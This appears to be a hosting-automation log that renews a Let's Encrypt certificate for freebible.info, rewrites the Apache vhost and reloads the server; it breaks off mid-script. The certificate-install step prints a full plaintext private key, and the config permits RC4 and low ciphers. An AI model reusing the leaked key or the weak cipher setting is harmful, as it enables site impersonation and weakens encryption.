MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-15 06:00:02: Establishing a connection
2026-03-15 06:00:02: Establishing a connection
2026-03-15 06:00:03: 

PUT: /tmp/pkp394879

#!/bin/bash
if [ -d "/var/www/freebible_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-15 06:00:03: 

chmod 755 /tmp/pkp394879; /tmp/pkp394879; rm /tmp/pkp394879

2026-03-15 06:00:03: 


1


2026-03-15 06:00:05: Establishing a connection
2026-03-15 06:00:05: 

PUT: /tmp/pkp203103

#!/bin/bash
mkdir -p "/var/www/freebible_www/.well-known/acme-challenge/"
cd "/var/www/freebible_www/.well-known/acme-challenge/"
cat > CJz3PFitgjNzGUde16sqo2gDzoiqb6cAov0EeDt4YHE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
CJz3PFitgjNzGUde16sqo2gDzoiqb6cAov0EeDt4YHE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 CJz3PFitgjNzGUde16sqo2gDzoiqb6cAov0EeDt4YHE
cat > psWHqEpUxnNwL4z8y39OcWU-LGjftmknRNty5oHqjOI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
psWHqEpUxnNwL4z8y39OcWU-LGjftmknRNty5oHqjOI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 psWHqEpUxnNwL4z8y39OcWU-LGjftmknRNty5oHqjOI


2026-03-15 06:00:05: 

chmod 755 /tmp/pkp203103; /tmp/pkp203103; rm /tmp/pkp203103

2026-03-15 06:00:05: 




2026-03-15 06:00:12: Establishing a connection
2026-03-15 06:00:12: 

PUT: /tmp/pkp379712

#!/bin/bash
mkdir -p "/var/www/freebible_www/.well-known/acme-challenge/"
cd "/var/www/freebible_www/.well-known/acme-challenge/"
rm CJz3PFitgjNzGUde16sqo2gDzoiqb6cAov0EeDt4YHE
rm psWHqEpUxnNwL4z8y39OcWU-LGjftmknRNty5oHqjOI


2026-03-15 06:00:12: 

chmod 755 /tmp/pkp379712; /tmp/pkp379712; rm /tmp/pkp379712

2026-03-15 06:00:12: 




2026-03-15 06:00:12: Establishing a connection
2026-03-15 06:00:12: 

PUT: /tmp/pkp585832

#!/bin/bash
temp_file=$(mktemp)
TARGET=25d244ad83fcb448bd222b7039653b35.crt

cat > $temp_file <<'endmsg'
b1:00:c5:7e:1f:b2:63:ca:79:39:4d:5e:10:91:de:b1

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBdr/kUtVpmwrFoTxpvwUBjLQMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzE1MDUwMTQwWhcNMjYwNjEzMDUwMTM5WjAZMRcwFQYDVQQD
Ew5mcmVlYmlibGUuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMg2U/fPH6yK25FBlTj4ovtL/YWH8BXZw+dcOQ0Kmt78EHxnqsN4gNKgVrBVWg24
8w0lnTxoQKIB3tDNrvr2Eo+yOGf6Kb1b5tT/KWd5jSaE94irOpnVnV/wfXAAyTSW
BDwJt67xxSZaCBHatxnjEfiYg31pS6wBUVDM4jy9VEfyqqvrt25qQ76GI5UtU+kd
CO4Wn7Y1m4eEHKVbAP/YE6KqFLK3R+ExTOuAv058lg3i7pF7Oc8FOmc5eZbvtjEh
8BqnkT4fydUL3YVayVYj4Jj5xYMHI+LHJ0ZDYu4IanIbjrc8vSDtqvEgENTTf3FJ
qmVmNk7Yq/41IDxX8QgINQMCAwEAAaOCAi8wggIrMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRvZeIy
lfQFd7iQ1DIx/spS/tfi3jAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR
0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5j
ci5vcmcvMC0GA1UdEQQmMCSCDmZyZWViaWJsZS5pbmZvghJ3d3cuZnJlZWJpYmxl
LmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy84MS5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5
APcAdQAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZzwFKTDAAAE
AwBGMEQCIAC/Dv4T1hlPY7mwRyYamIBT5joFJxYTZE3kSEcA374bAiAgR45QU6lI
f6YPuEOv44b2FIdAzOiyt0HHWOSnJ50PawB+ABqLnWlKV5jImaDKiL30j8C0VmDM
w2ANH3H0af/H0ayjAAABnPAUpxQACAAABQBW39/NBAMARzBFAiBDtt/SwsweSwCF
ZFSFvdg1tViuJZ15F4BeIjkM8me9fQIhAMrNfCFyMJ5Ej4tzNBT1VzTw1iWnIuLv
gO0IBwmilje9MA0GCSqGSIb3DQEBCwUAA4IBAQBARBVpqraObP+Fv01+lHG75ezt
kv8m+/8MoQZ7ynEad4Zf++csZB6MfG6241L5LPFewpAtKXPgDfywghV6Bny+q/zt
00qe/j+C73foqt+gO+E1HMVQMLsVw5Bw6bsh/f2ppSW40PaG0gRH11UhlP1bgPfp
0soELi1KYZ8rqF9L0Z+3nRhvhppQ4Y1s2nycSaT9yvDJ1LdFTVXTl98BU9N+5IQw
V5978343hUAG0HSKZ+aZR0eisaYJmEOhE5mskuFw6cyCFU5KIngH9GSh6jPzti3g
Da3bNeodoyh1ZbVOBy1CMi+YO2tqRKRch2WOk+niqgRH5Ch8ou9WplxGrv+o
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDINlP3zx+situR
QZU4+KL7S/2Fh/AV2cPnXDkNCpre/BB8Z6rDeIDSoFawVVoNuPMNJZ08aECiAd7Q
za769hKPsjhn+im9W+bU/ylneY0mhPeIqzqZ1Z1f8H1wAMk0lgQ8Cbeu8cUmWggR
2rcZ4xH4mIN9aUusAVFQzOI8vVRH8qqr67duakO+hiOVLVPpHQjuFp+2NZuHhByl
WwD/2BOiqhSyt0fhMUzrgL9OfJYN4u6ReznPBTpnOXmW77YxIfAap5E+H8nVC92F
WslWI+CY+cWDByPixydGQ2LuCGpyG463PL0g7arxIBDU039xSaplZjZO2Kv+NSA8
V/EICDUDAgMBAAECggEAO4p8mjvMraF1/tLEL/cxcQ5+TNHKgpUKf6mbhddbi2jm
9jhWPl994CWy4inf6CjSj1xaUHaokgWAYBRrL1My3e0gfTuWYiwMj9d6Vr19TrFI
dCqH+OvgK4H3q/Fv5OWgSMKTD8Hy4Z7wu26R+W7gD1A7+nXv/S0/I4pq1alwgRyQ
4KH3OIWiz9V8sPKRj2jmfZPl+DlDDtG6Hb7QRcm2EfhSLVA6jD2FA9ZIey7WQz2v
04aGcHpiGSWM9hJsNANN0MYcwP7Dfp48cgYGMzOp78v61W1drHuK3rwu6irwznxE
B2suOsjCErXrwQQBOPzcslU0TlUBnJ/SZRaqWSe0cQKBgQDwqx3CemcHvKNdYPTn
HkxsFKvu2m6/TtEMpOgttxQW4pFYL+jYPVQp3xhFMLUAGo2pscdb1owx7SUBWdXX
r/FEUqZsf0rrrfQ22BANOEYD4v5tD4yA/bj6RwjB5Y8+89frgpk3sE5PMUg9Nz4a
XIvTJ36so1LIGfjuANJ68ehlVQKBgQDU93D9WmbA4ywjnS2lzFUeiZPV3wShUsZv
+PnGApKaDwGXNmiCwibwVGxO6M1fVZv/87c0LNgYo5dK0rCaJQq2mnrOOWMIsRd0
BnIcRkw7tbhgE7+852dYIOSm/eNx7ijqD0RgWOoBkmVxAywg2FiTFQDn9W3hWSTA
Bn6qLpSw9wKBgEbVhl/MGPD9A3QjalFv6HxTJTuazMe/0eWPz8pMvTvzGWZES5sB
ifj88a7DpDJQnmtYqN2N6xtyudaI81iVL0S1ssfyO0HcpClUNH0/l9PjBpFg5zC7
/KqlJ52yDBQyPtXRTXlHifTjA2kJDl1B6eGPGUiElYPRqSOb2FdZRdY1AoGACFrI
sPe57jk7Qw5oewegEzmcdhhwqw9/P2dKDS2OqMKL8m2s/ew18NmvAg15+RJ3szvR
ZReZRqYsSkAns3RejjlTNgHkU7P20pNqKJfNZ85CNGqx6+w8DqYDslVlddO9ASmm
Kg1y6KrgleVk9sjl+KcrSO5E6EFCAtJ+Z5i6NpMCgYEAxMDIQOEllJZGx9S5C1/f
k++e8LMxLiqHZnvts8+0Z0Oyk53ErVX/xfOocLIvB2EvGVoTrnMx+TUpJ+9vhRoW
xz7usLzr/pfjQyCx2d7kQmj9yq7R0xQA4lmKQRiGIYd5vFxKBBpNajfKvKp9VwSw
3O6rMXxr1fSn4FP9LnczjBk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-15 06:00:12: 

chmod 755 /tmp/pkp585832; /tmp/pkp585832; rm /tmp/pkp585832

2026-03-15 06:00:12: 


dir=/etc/ssl/certs


2026-03-15 06:00:12: 

PUT: /tmp/pkp372907

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/freebible_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-15 06:00:12: 

chmod 755 /tmp/pkp372907; /tmp/pkp372907; rm /tmp/pkp372907

2026-03-15 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/freebible_www_info.conf 42

<VirtualHost *:80>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_error.log
    SetEnv pkp_uid	63
    SetEnv pkp_owner	freebible
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_secure_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-15 06:00:12: 

PUT: /tmp/pkp540346

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=freebible_www_info.conf
TARGET=/etc/apache2/sites-enabled/freebible_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_error.log
    SetEnv pkp_uid	63
    SetEnv pkp_owner	freebible
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_secure_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/freebible_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/freebible_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/freebible_www_info.conf= 1'
fi


2026-03-15 06:00:12: 

chmod 755 /tmp/pkp540346; /tmp/pkp540346; rm /tmp/pkp540346

2026-03-15 06:00:12: 




2026-03-15 06:00:12: 

PUT: /tmp/pkp146859

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-15 06:00:12: 

chmod 755 /tmp/pkp146859; /tmp/pkp146859; rm /tmp/pkp146859

2026-03-15 06:00:12: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-15 06:00:12: Establishing a connection
2026-03-15 06:00:13: 

PUT: /tmp/pkp713622

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-15 06:00:13: 

chmod 755 /tmp/pkp713622; /tmp/pkp713622; rm /tmp/pkp713622

2026-03-15 06:00:13: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-15 06:00:13: 

PUT: /tmp/pkp654568

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
